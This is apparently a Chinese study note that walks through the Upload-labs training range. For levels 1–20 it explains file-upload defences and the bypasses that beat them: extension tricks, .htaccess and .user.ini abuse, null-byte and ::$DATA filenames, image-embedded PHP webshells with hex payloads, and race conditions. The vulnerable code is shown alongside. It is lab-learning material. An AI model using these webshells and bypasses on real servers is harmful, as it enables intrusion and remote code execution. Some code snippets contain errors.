文件上传漏洞
文件上传漏洞
原理
Web 应用处理上传时,未严格校验文件类型、内容、后缀,导致恶意文件被上传、存储并解析执行。
漏洞存在的要素
- 存在攻击点:头像、附件、文档等上传功能
- 校验不严:前端 / 后端校验可被绕过
- 文件可访问:上传路径可预测
- 可被解析:服务器当作脚本执行(
.php/.jsp/.asp)
文件漏洞的判断标准
- 文件类型是否被校验
- 文件名是否被过滤
- 文件内容是否被检查
- 文件是否被重命名
探索文件上传漏洞的步骤
- 在上传的地方先上传一个合法的图片test.jpg,是否正常显示/下载,返回的路径是什么,文件名是否被改变。(可能由时间戳修饰)
- 上传一个明显的恶意文件test.php
常见的防御及其绕过方法
- 白名单扩展名:只允许
.jpg/.png/.gif,换其他可解析扩展名(.php5、.phtml);双扩展名(.php.jpg) - 黑名单扩展名,黑名单是罗列不全的
- Content-Type 检查:抓包改
Content-Type为image/jpeg - 文件头检查(魔术数字):图片马(在文件前加
GIF89a等),修改Hex为jpg的格式 - 内容检测:检测文件中的恶意代码,用更隐蔽的代码;图片马;分块上传
- 文件重命名,随机化文件名,保留扩展名
- WAF:检测上传流量, 混淆 Payload;分块传输;编码绕过
Upload-labs
Less-1:前端 JavaScript 验证,
打开BP后,上传.php代码发现BP没收到拦截,就发生报错提示,说明是前端JavaScript验证
方法一:利用NoScript套件(FIrefox的一个插件)
禁用JS代码
方法二:Burp Suite 抓包改包
上传3.jpg,用BP改成3.php发送,之后配合蚁剑等进行提权
方法三:改前端源码
将前端的JavaScript中的<form … onsubmit=“return checkFile()“>中onsubmit=“return checkFile()“删除或者改为true.
Less-2:后端验证(修改 Content-Type)
将BP抓的包(3.php)Content-Type: application/octet-stream中的Content-Type: image/jpeg
Less-3:黑名单绕过
- 现在一般用白名单,黑名单是不能面面俱到的。
.php|.phtml|.php3|.php4|.php5|.pht
- 上传.htaccess来自定义规则(这个只对APache服务器有效)
.htaccess 是 Apache 服务器用来控制目录配置的隐藏文件
//把当前目录下的所有文件都强制当作 PHP 程序来运行
SetHandler application/x-httpd-php
这样显示就是服务器没有把 .php3 当作 PHP 脚本执行,而是把它当成了一个普通的文本文件下载或显示了
所以要在Web 服务器(通常是 Apache 或 Nginx)配置里将.php3关联到PHP上
#单纯想做这道题可以更改Apache的httpd-conf文件AddType application/x-httpd-php .php .php3 .php5#再将php的版本改一下(可以选择php5.3.29).htaccess配置
在 Windows 版的 Apache 环境中,.htaccess 文件里的 SetHandler application/x-httpd-php 通常是不生效的!
Less-4:黑名单过滤机制
禁止上传几乎所有常见的可执行脚本后缀(如.php、.php5、.phtml、.jsp、.asp等)
创建 .htaccess 文件
#让服务器将所有 .jpg 后缀的文件当作 PHP 脚本来解析执行<FilesMatch "\.jpg$"> SetHandler application/x-httpd-php</FilesMatch>一句话木马(图片马的构建)
<?php @eval($_POST['cmd']); ?>#将其改为图片马copy /b 1.jpg + 2.txt shell.jpg #/b参数表示以二进制模式合并#十六进制编辑器(如 010 Editor)把代码“藏”进去,可以绕过对<?php的拦截 ,可以用base63编码#利用图片属性(Exif 信息):在详细信息中写入<?php @eval($_POST['cmd']);?>这里我的始终显示,蚁剑没有连接,我更改了(.htaccess和.user.ini配置文件,可以再改一下httpd-conf),最多报出PHP版本问题
httpd.conf
.htaccess
.user.ini
php.ini: PHP,PHP安装目录 bin/,PHP安装目录 bin/,最低(被覆盖)
加载方式是先加载php.ini/httpd-conf文件中的配置,如果再某个目录下存在.user.ini/.htaccess文件,服务器会在处理请求时检查改目录,并覆盖目录的下配置项
.user.ini文件上传漏洞的前提可以生效并且上传目录有.php文件
我的配置文件在第四关和第五关的时候改了配置,现在靶场打不开了,我现在后面的关卡看WP
后面有的题目是下一个题的(比如说有的题库是第八题有的题库是第七题)
Less-5:.user.ini 绕过,点加空格加点(适合旧版本)
#编写 .user.ini 文件,它的作用是让当前目录下所有的 PHP 文件都自动包含 shell.jpg 这个文件auto_prepend_file = shell.jpg #这里的shell.jpg是一句话生成的图片马#访问http://你的靶场地址/upload/readme.php,用蚁剑等连接可以用点加空格加点漏洞(有的是第四关)
第三关:重新生成的(时间戳+随机数+扩展名)
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(100,999).$file_ext;
第五关:用户原始文件名(处理后的)
$img_path = UPLOAD_PATH.'/'.$file_name;
#点加空格加点shell.php. .
#前面是各种黑名单 $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空Less-6:大小写绕过
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); // 删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); // ★ 关键:这里没有 strtolower() 转换小写! $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);大小写绕过(适用于特定源码)
shell.Php, shell.PHp
Less-7:末尾添加点(.)
$file_name = trim($_FILES['upload_file']['name']); // ★ 关键:这里没有调用 deldot() 删除末尾的点! $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); // 转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); // 首尾去空后端检测时以为后缀时点(.)
Less-8:::$DATA 备用数据流和末尾点绕过
$file_name = trim($_FILES['upload_file']['name']); // ★ 关键:这里没有调用 deldot() 删除末尾的点! $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); // ★ 另一处关键:这一行是处理 ::$DATA 的,但没有完全过滤掉 $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);可以写成shell.php.::$DATA(点加::$DATA)
::$DATA 会被系统底层自动处理
这其实是打了一个时间差(先交给黑名单,再在windows系统中上传)
- PHP 收到这个文件名,进行扩展名检查:
- 代码取后缀:
strrchr($file_name, '.')→ 得到".php::$DATA" - 部分旧代码没有过滤或只过滤一次
- 导致扩展名变成
".php::$DATA",黑名单中没有这个值 → 检查通过
- 代码取后缀:
- move_uploaded_file 保存时:
- 交给 Windows 文件系统 API
- Windows 看到
::$DATA,理解为“操作默认数据流” - 最终实际创建的文件是
shell.php
Less-9:点 + 空格 + 点
$file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); // 删除末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = trim($file_ext); // ★ 这里去掉了空格,但没有去掉点? $file_ext = str_ireplace('::$DATA', '', $file_ext);deldot这里的删除点的函数时从后往前删除的
Less-10:**字符串替换(str_ireplace)**代替黑名单,双写绕过
// ★ 这里的过滤逻辑变了:不是 in_array() 检查,而是直接替换!$file_name = str_ireplace($deny_ext, '', $file_name);这里从匹配检查转换成了替换删除
漏洞前提:
- 单次替换
- 拼接保存
Less-11:00截断(php5.3之前的版本可以用,magic_quotes_gpc = Off(否则 %00 会被转义))(GET传递)
这里是白名单
if (isset($_POST['submit'])) { // 白名单:只允许图片后缀 $ext_arr = array('jpg', 'png', 'gif'); // 获取上传文件的后缀名 $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
// 检查后缀是否在白名单中 if (in_array($file_ext, $ext_arr)) { $temp_file = $_FILES['upload_file']['tmp_name']; // 关键漏洞:save_path 是 GET 参数,用户可以控制 $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;当 PHP 在处理路径字符串时遇到 %00(URL 编码后的 \0),会将其视为字符串的终点
通过修改GET参数将其改为http://target/Pass-11/index.php?save_path=../upload/shell.php%00
直接BP抓包改地址栏,添加00截断:/upload/shell.php%00
Less-12:00截断(POST传递)
0x00截断
这里抓包时00用Hex编码
因为第十一关:浏览器/服务器会自动进行 URL 解码,将 %00 识别为截断符;第十二关:会自动解码 %00,需要手动将其转换为真正的空字节(0x00),需要在 Hex 模式下,找到对应字符并将其修改为 00。
手动在 Hex 模式下把 %00 的 ASCII 码替换成真正的 0x00
Less-13:文件包含漏洞
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); // 只读取文件的前2个字节 fclose($file); // 将二进制头两个字节拼接成一个整数 $strInfo = @unpack("C2chars", $bin);#一个标准 JPG 文件的文件头是 0xFF 0xD8,对应十进制就是 255 和 216,拼起来就是 255216。 $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; // 通过这个整数判断文件类型 switch($typeCode){ case 255216: // 对应十六进制 FF D8 $fileType = 'jpg'; break; case 13780: // 对应十六进制 89 50 $fileType = 'png'; break; case 7173: // 对应十六进制 47 49 (GIF) $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;}重命名保存:通过验证后,它会用检测出的 $file_type(如 jpg)作为后缀名来保存文件。这意味着,我们无法再靠改后缀名 .php 来直接获得shell。
http://your-ip/include.php?file=upload/20240515123456.jpginclude文件包含
<?php $file = $_GET['file']; if(isset($file)){ include $file; #没有任何的过滤和限制 }else{ show_source(__FILE__); }?>可以直接在BP里面直接改(在RAW里一堆二进制内容里面改)
GIF89a<?php @eval($_POST['cmd']); ?>[后面是原图片的二进制数据]这里的GIF89a是GIF 文件的文件头签名
或者利用十六进制编译器进行修改前两个字符
Less-15(中间有的题库是多了一道00截断的题目,这里统一一下进度):和第十四关核心思路一样,只是换了一种检测方式。
第十四关读的是文件头的2个字节,第十五关用的是 getimagesize() 函数——它会把整个文件头解析一遍,确认是不是一张真正的图片。
$type = exif_imagetype($_FILES['upload_file']['tmp_name']);// 或者 getimagesize() 函数if (!$type) { $msg = "不是真正的图片!"; return false;}getimagesize() 做了什么:
- 读取文件的头部信息,尝试解析图片的宽度、高度等属性
- 如果解析成功,返回数组;如果失败,说明不是一张有效的图片
copy 1.jpg /b + shell.php /a result.jpg很多版本的 getimagesize() 只检查前几个字节就放行了,可以选择插入到后面
Less-16:二次渲染
二次渲染:服务器会使用 PHP 的图形库(GD库)将你上传的图片彻底解码,再重新编码生成一张全新的图片
重点:找到图片在二次渲染前后,都保持不变的区块
- 准备一个正常的 GIF 图片(其他的二次渲染后的二进制差别较大),先上传一次
- 下载文件后用十六进制编译器来拿对比找出不变的区域
- 在不变的区域后面插入一句话木马(用十六进制)
#一句话木马 <?php @eval($_POST['cmd']);?> 对应的十六进制为:3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 27 63 6D 64 27 5D 29 3B 3F 3E为什么用GIF:GIF 是无损压缩格式,图像数据是直接被编码保存的,而 JPG 是有损压缩,渲染前后的图像数据变化巨大,几乎找不到一块未被修改的区域去稳定地插入代码,绕过难度非常高。
这里可以尝试用二次渲染后的图片木马再次进行渲染(插入一句话木马),发现没有区别。
Less-17:条件竞争(逻辑漏洞) 多线程竞争
#这里是先进行上传再进行检查(在上传和检查期间shell.php文件存活了极小的时间,要利用这个时间差)$img_path = UPLOAD_PATH . '/' . $file_name; if (move_uploaded_file($temp_file, $img_path)) { if (in_array($file_ext, $ext_arr)) { $is_upload = true; } else { // 不合法,删除文件 unlink($img_path); // ← 删除操作在保存之后! $msg = "只允许上传.jpg|.png|.gif类型文件!"; } } else { $msg = '上传出错!'; }}利用BurpSuit的Intruder模块进行多线程无线发送
-
选择你刚准备好的
test.php文件,点击上传。 -
打开Burp Suite拦截请求,把抓到的数据包发送到
Intruder模块 -
在数据包的
filename="test.php"后面随便加一个参数,比如?a=§1§,然后把1这个数字设为变量(Payload位置) -
选择Payloads类型,线程数设为20(或者更多)。
-
另外打开一个浏览器标签页,直接访问你刚才上传的文件路径,比如
http://你的靶场地址/upload/test.php。 -
同样在Intruder后面加一个参数,设置Payloads,将线程调高,不断访问它。
Web服务器在解析PHP文件时,会忽略URL中 ? 之后的所有内容。
这里可能因为线程少或文件存活时间短,访问不到test.php
Less-18:条件竞争
不同于第十七关:上传前检查、上传后重命名
// 第一步:检查后缀名(上传前检查) if(in_array($file_ext, $ext_arr)){ // 生成新文件名:时间戳 + 随机数 + 原后缀 $new_file_name = date("YmdHis").'_'.rand(100,999).'.'.$file_ext; $img_path = UPLOAD_PATH . '/' . $new_file_name; // 第二步:移动文件到保存路径 if(move_uploaded_file($temp_file, $img_path)){ $is_upload = true; //文件刚上传成功,就被当作 PHP 脚本包含执行了 include $img_path; //图片马被 include 时,里面的 PHP 代码会执行 } else { $msg = '上传出错!'; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; }}这里有的版本是直接用 或者用图片马不需要多线程竞争,因为 include 会自动触发执行。
有的版本是多加了后缀的检测:可以用Apache的解析漏洞(从后往前解析):用shell.php.jpg这样的文件
//多了myupload.phpfunction upload( $dir ) { //省略白名单 //先检查文件扩展名是否在白名单中 $ret = $this->checkExtension(); //通过检查后,立即将文件从 tmp 目录移动到目标目录 //此时文件名为我们上传时的原始名称 $ret = $this->move(); // 3. 文件保存成功后,最后再对其进行重命名 // 这里存在一个极短的时间窗口 if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); } // ...}通过条件竞争,赶在服务器将文件名改为随机字符串之前,访问并执行我们上传的图片马。
和第十七关的BP的Intruder攻击一样。用多线程攻击(一个无限攻击,一个无限访问)。
Less-19:基于黑名单的参数注入
$file_name = $_POST['save_name']; //用户可控输入$file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 取后缀$deny_ext = array("php","asp",...);if(!in_array($file_ext, $deny_ext)) { move_uploaded_file($temp_file, UPLOAD_PATH . '/' . $file_name);}绕过手法:
-
move_uploaded_file()函数在处理文件路径时,会自动忽略文件末尾的 / 或 .将save_name修改为shell.php. 或shell.php/
-
用BP抓包修改save_name为shell.php .jpg(00截断:将这里的空格用Hex编码改为00),或者用weindows自带的漏洞机制改为shell.php::$DATA
访问shell.php
Less-20:数组绕过
// 检查 MIME 类型(可以用BP修改Content-Type) $allow_type = array('image/jpeg', 'image/png', 'image/gif'); if(!in_array($_FILES['upload_file']['type'], $allow_type)) { $msg = "禁止上传该类型文件!"; } else { // 获取文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; // 如果 $file 是数组,这里会出错;如果不是数组,正常处理 if (!is_array($file)) { $file = explode('.', strtolower($file)); } // 获取扩展名 $ext = end($file); $allow_suffix = array('jpg', 'png', 'gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; } else { $file_name = reset($file) . '.' $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $file_name;
if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = "上传出错!"; } } }获取扩展名的方式$ext = end($file);
和拼接file的方式不一样$file[count($file) - 1];
这里利用count只确定有效值的个数
例如:a[0]=1.php.;a[1]=1;a[8]=jpg
这里count(a)=3,$ext = end($file)是jpg
而file) - 1]是a[2]=null;